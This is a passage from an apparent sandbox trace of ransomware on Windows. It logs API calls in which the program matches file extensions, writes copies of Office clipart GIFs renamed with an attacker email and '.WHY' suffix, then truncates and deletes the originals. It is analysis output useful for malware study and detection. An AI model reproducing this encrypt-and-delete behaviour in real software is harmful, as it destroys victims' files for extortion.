4 [0240.714] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.714] lstrlenW (lpString=".bz2") returned 4 [0240.714] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.714] lstrlenW (lpString=".7z") returned 3 [0240.715] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0240.715] lstrlenW (lpString=".dbf") returned 4 [0240.715] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0240.715] lstrlenW (lpString=".1cd") returned 4 [0240.715] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0240.715] lstrlenW (lpString=".jpg") returned 4 [0240.715] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.716] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0240.716] lstrlenW (lpString="AG00165_.GIF") returned 12 [0240.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0240.752] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=8582) returned 1 [0240.752] CloseHandle (hObject=0x3b0) returned 1 [0240.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0240.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0240.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0240.753] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.753] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0240.754] GetLastError () returned 0x0 [0240.754] ReadFile (in: hFile=0x3b0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x2186, lpOverlapped=0x0) returned 1 [0240.837] WriteFile (in: hFile=0x3b4, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x2190, lpOverlapped=0x0) returned 1 [0240.839] ReadFile (in: hFile=0x3b0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0240.839] WriteFile (in: hFile=0x3b4, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.839] SetEndOfFile (hFile=0x3b4) returned 1 [0240.840] CloseHandle (hObject=0x3b4) returned 1 [0240.842] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.842] SetEndOfFile (hFile=0x3b0) returned 1 [0240.848] CloseHandle (hObject=0x3b0) returned 1 [0240.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0240.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0240.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0240.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0240.850] lstrlenW (lpString=".doc") returned 4 [0240.850] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.850] lstrlenW (lpString=".docx") returned 5 [0240.850] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.850] lstrlenW (lpString=".pdf") returned 4 [0240.850] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.850] lstrlenW (lpString=".xls") returned 4 [0240.851] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0240.851] lstrlenW (lpString=".xlsx") returned 5 [0240.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.851] lstrlenW (lpString=".ppt") returned 4 [0240.851] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0240.851] lstrlenW (lpString=".zip") returned 4 [0240.851] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.851] lstrlenW (lpString=".rar") returned 4 [0240.851] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.851] lstrlenW (lpString=".bz2") returned 4 [0240.851] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.851] lstrlenW (lpString=".7z") returned 3 [0240.851] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0240.851] lstrlenW (lpString=".dbf") returned 4 [0240.851] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0240.852] lstrlenW (lpString=".1cd") returned 4 [0240.852] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0240.852] lstrlenW (lpString=".jpg") returned 4 [0240.852] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0240.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0240.852] lstrlenW (lpString=".doc") returned 4 [0240.852] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.852] lstrlenW (lpString=".docx") returned 5 [0240.852] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.852] lstrlenW (lpString=".pdf") returned 4 [0240.852] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.852] lstrlenW (lpString=".xls") returned 4 [0240.852] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0240.853] lstrlenW (lpString=".xlsx") returned 5 [0240.853] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.853] lstrlenW (lpString=".ppt") returned 4 [0240.853] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0240.853] lstrlenW (lpString=".zip") returned 4 [0240.853] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.853] lstrlenW (lpString=".rar") returned 4 [0240.853] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.853] lstrlenW (lpString=".bz2") returned 4 [0240.853] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.853] lstrlenW (lpString=".7z") returned 3 [0240.853] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0240.853] lstrlenW (lpString=".dbf") returned 4 [0240.853] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0240.854] lstrlenW (lpString=".1cd") returned 4 [0240.854] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0240.854] lstrlenW (lpString=".jpg") returned 4 [0240.854] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.854] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0240.854] lstrlenW (lpString="AG00171_.GIF") returned 12 [0240.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0240.855] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=5016) returned 1 [0240.855] CloseHandle (hObject=0x3b0) returned 1 [0240.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0240.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0240.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0240.856] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.857] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0240.860] GetLastError () returned 0x0 [0240.860] ReadFile (in: hFile=0x3b0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x1398, lpOverlapped=0x0) returned 1 [0240.953] WriteFile (in: hFile=0x3b4, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x13a0, lpOverlapped=0x0) returned 1 [0240.957] ReadFile (in: hFile=0x3b0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0240.957] WriteFile (in: hFile=0x3b4, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.957] SetEndOfFile (hFile=0x3b4) returned 1 [0240.958] CloseHandle (hObject=0x3b4) returned 1 [0240.959] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.959] SetEndOfFile (hFile=0x3b0) returned 1 [0240.966] CloseHandle (hObject=0x3b0) returned 1 [0240.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0240.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0240.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0240.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0240.969] lstrlenW (lpString=".doc") returned 4 [0240.969] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.969] lstrlenW (lpString=".docx") returned 5 [0240.969] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.969] lstrlenW (lpString=".pdf") returned 4 [0240.970] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.970] lstrlenW (lpString=".xls") returned 4 [0240.970] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0240.970] lstrlenW (lpString=".xlsx") returned 5 [0240.970] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.970] lstrlenW (lpString=".ppt") returned 4 [0240.970] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0240.970] lstrlenW (lpString=".zip") returned 4 [0240.970] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.970] lstrlenW (lpString=".rar") returned 4 [0240.970] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.970] lstrlenW (lpString=".bz2") returned 4 [0240.970] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.971] lstrlenW (lpString=".7z") returned 3 [0240.971] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0240.971] lstrlenW (lpString=".dbf") returned 4 [0240.971] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0240.971] lstrlenW (lpString=".1cd") returned 4 [0240.971] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0240.971] lstrlenW (lpString=".jpg") returned 4 [0240.971] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0240.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0240.972] lstrlenW (lpString=".doc") returned 4 [0240.972] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.972] lstrlenW (lpString=".docx") returned 5 [0240.972] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.972] lstrlenW (lpString=".pdf") returned 4 [0240.972] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.972] lstrlenW (lpString=".xls") returned 4 [0240.972] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0240.972] lstrlenW (lpString=".xlsx") returned 5 [0240.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.972] lstrlenW (lpString=".ppt") returned 4 [0240.972] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0240.972] lstrlenW (lpString=".zip") returned 4 [0240.972] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.973] lstrlenW (lpString=".rar") returned 4 [0240.973] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.973] lstrlenW (lpString=".bz2") returned 4 [0240.973] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.973] lstrlenW (lpString=".7z") returned 3 [0240.973] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0240.973] lstrlenW (lpString=".dbf") returned 4 [0240.973] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0240.973] lstrlenW (lpString=".1cd") returned 4 [0240.973] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0240.973] lstrlenW (lpString=".jpg") returned 4 [0240.973] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.974] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0240.974] lstrlenW (lpString="AG00174_.GIF") returned 12 [0240.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0240.975] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=3966) returned 1 [0240.975] CloseHandle (hObject=0x3b0) returned 1 [0240.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0240.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0240.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0240.976] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.976] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0240.977] GetLastError () returned 0x0 [0240.978] ReadFile (in: hFile=0x3b0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0xf7e, lpOverlapped=0x0) returned 1 [0241.163] WriteFile (in: hFile=0x3b4, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0241.166] ReadFile (in: hFile=0x3b0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0241.166] WriteFile (in: hFile=0x3b4, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0241.167] SetEndOfFile (hFile=0x3b4) returned 1 [0241.167] CloseHandle (hObject=0x3b4) returned 1 [0241.169] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.169] SetEndOfFile (hFile=0x3b0) returned 1 [0242.105] CloseHandle (hObject=0x3b0) returned 1 [0242.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0242.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0242.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0242.167] lstrlenW (lpString=".doc") returned 4 [0242.167] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0242.167] lstrlenW (lpString=".docx") returned 5 [0242.167] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0242.168] lstrlenW (lpString=".pdf") returned 4 [0242.168] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0242.168] lstrlenW (lpString=".xls") returned 4 [0242.168] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0242.168] lstrlenW (lpString=".xlsx") returned 5 [0242.168] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0242.169] lstrlenW (lpString=".ppt") returned 4 [0242.169] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0242.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0242.169] lstrlenW (lpString=".zip") returned 4 [0242.169] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0242.169] lstrlenW (lpString=".rar") returned 4 [0242.169] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0242.169] lstrlenW (lpString=".bz2") returned 4 [0242.169] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0242.169] lstrlenW (lpString=".7z") returned 3 [0242.169] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0242.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0242.170] lstrlenW (lpString=".dbf") returned 4 [0242.170] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0242.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0242.170] lstrlenW (lpString=".1cd") returned 4 [0242.170] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0242.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0242.170] lstrlenW (lpString=".jpg") returned 4 [0242.170] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0242.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0242.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0242.170] lstrlenW (lpString=".doc") returned 4 [0242.171] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0242.171] lstrlenW (lpString=".docx") returned 5 [0242.171] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0242.171] lstrlenW (lpString=".pdf") returned 4 [0242.171] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0242.171] lstrlenW (lpString=".xls") returned 4 [0242.171] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0242.171] lstrlenW (lpString=".xlsx") returned 5 [0242.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0242.171] lstrlenW (lpString=".ppt") returned 4 [0242.171] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0242.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0242.172] lstrlenW (lpString=".zip") returned 4 [0242.172] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0242.172] lstrlenW (lpString=".rar") returned 4 [0242.172] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0242.172] lstrlenW (lpString=".bz2") returned 4 [0242.172] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0242.172] lstrlenW (lpString=".7z") returned 3 [0242.172] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0242.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0242.172] lstrlenW (lpString=".dbf") returned 4 [0242.172] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0242.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0242.172] lstrlenW (lpString=".1cd") returned 4 